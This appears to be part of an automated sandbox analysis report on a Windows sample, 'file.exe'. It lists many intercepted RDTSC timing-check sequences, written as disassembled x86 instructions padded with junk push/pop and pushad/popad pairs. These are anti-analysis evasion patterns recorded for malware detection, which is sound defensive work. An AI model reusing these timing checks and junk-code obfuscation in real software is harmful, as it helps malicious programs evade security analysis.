Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF521 second address: 5EF52B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F865CD192D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF52B second address: 5EF5A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push ebx 0x0000000b jmp 00007F865D1C554Ah 0x00000010 pop ebx 0x00000011 pop ebx 0x00000012 xchg eax, esi 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F865D1C5548h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d pushad 0x0000002e pushad 0x0000002f jmp 00007F865D1C5556h 0x00000034 pushad 0x00000035 popad 0x00000036 popad 0x00000037 add dword ptr [ebp+122D2CFEh], edi 0x0000003d popad 0x0000003e nop 0x0000003f jmp 00007F865D1C5558h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jne 00007F865D1C5548h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFE73 second address: 5EFE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F00EB second address: 5F00EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F019A second address: 5CF194 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b mov ch, 7Ch 0x0000000d call dword ptr [ebp+122D2E20h] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F865CD192E1h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6265A5 second address: 6265AF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F865D1C5546h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6265AF second address: 6265CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F865CD192E7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6265CE second address: 6265D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6265D7 second address: 6265E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F865CD192D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62671A second address: 62671F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62671F second address: 626725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6269AD second address: 6269B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6269B3 second address: 6269B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6269B7 second address: 6269C1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F865D1C5546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626D93 second address: 626DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a ja 00007F865CD192D6h 0x00000010 jmp 00007F865CD192E6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626DBB second address: 626DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626DC0 second address: 626DD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865CD192DFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CAB3 second address: 59CAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CAB7 second address: 59CAC3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6352F8 second address: 6352FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637AD5 second address: 637ADB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637ADB second address: 637AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637AE6 second address: 637B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637B02 second address: 637B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637B07 second address: 637B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865CD192DBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637B18 second address: 637B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637B1C second address: 637B4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F865CD192DFh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jbe 00007F865CD192DEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637B4B second address: 637B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637B56 second address: 637B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637B5F second address: 637B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A332 second address: 63A338 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E92D second address: 63E931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E4E2 second address: 63E4FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F865CD192D6h 0x0000000a jmp 00007F865CD192E3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643B6C second address: 643B76 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F865D1C5546h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643CB8 second address: 643CBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643CBE second address: 643CCC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F865D1C5548h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CA96 second address: 59CAB3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F865CD192DAh 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644136 second address: 64413D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6442A1 second address: 6442AB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F865CD192D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6442AB second address: 6442BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F865D1C554Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6442BF second address: 6442CE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6442CE second address: 6442DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6442DB second address: 6442E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6442E1 second address: 6442E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6442E5 second address: 6442FC instructions: 0x00000000 rdtsc 0x00000002 je 00007F865CD192D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F865CD192DDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6450AD second address: 6450B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F865D1C5546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6450B7 second address: 6450CA instructions: 0x00000000 rdtsc 0x00000002 js 00007F865CD192D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007F865CD192D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A969 second address: 64A988 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F865D1C5546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F865D1C5555h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A988 second address: 64A9B6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F865CD192E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F865CD192DDh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A9B6 second address: 64A9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A9BA second address: 64A9DB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jns 00007F865CD192D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F865CD192E2h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AB14 second address: 64AB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B4AE second address: 64B4D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F865CD192E6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B4D0 second address: 64B4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B4D4 second address: 64B4E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192DBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BA2E second address: 64BA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865D1C554Fh 0x00000009 pop esi 0x0000000a pushad 0x0000000b jnp 00007F865D1C5546h 0x00000011 push edx 0x00000012 pop edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BA4E second address: 64BA5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F865CD192D6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BA5B second address: 64BA61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BCEE second address: 64BD0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192E8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BD0B second address: 64BD11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BD11 second address: 64BD15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BD15 second address: 64BD44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865D1C5552h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F865D1C5555h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BD44 second address: 64BD4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C574 second address: 64C57B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651E5E second address: 651E63 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654F48 second address: 654F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F865D1C5546h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654F54 second address: 654F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F865CD192D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654F61 second address: 654F7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5557h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654F7C second address: 654F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654F88 second address: 654F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F865D1C554Eh 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655877 second address: 65587D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65587D second address: 655883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DD4A second address: 65DD52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DD52 second address: 65DD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DD56 second address: 65DD5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E161 second address: 65E1A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5556h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a je 00007F865D1C5557h 0x00000010 jmp 00007F865D1C5551h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F865D1C554Fh 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E1A6 second address: 65E1AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E4A1 second address: 65E4AF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F865D1C5546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E4AF second address: 65E4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EB98 second address: 65EBA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jg 00007F865D1C5546h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EBA7 second address: 65EBC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661982 second address: 661988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661988 second address: 661993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66673C second address: 666750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F865D1C554Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6668E2 second address: 6668E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6668E8 second address: 6668F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F865D1C5546h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6690C5 second address: 6690D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192DBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6690D5 second address: 6690EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F865D1C5546h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67428E second address: 6742A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F865CD192DCh 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679113 second address: 679117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679117 second address: 679125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F865CD192DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679125 second address: 679129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679129 second address: 679132 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679132 second address: 67914C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jo 00007F865D1C5546h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67914C second address: 67915E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F865CD192D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F865CD192DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688A95 second address: 688A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688A9B second address: 688ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F865CD192FDh 0x0000000d jmp 00007F865CD192E4h 0x00000012 jmp 00007F865CD192E3h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688ACF second address: 688ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 ja 00007F865D1C5546h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68891C second address: 688933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192E1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F7F5 second address: 68F80D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F865D1C554Eh 0x0000000f rdtsc
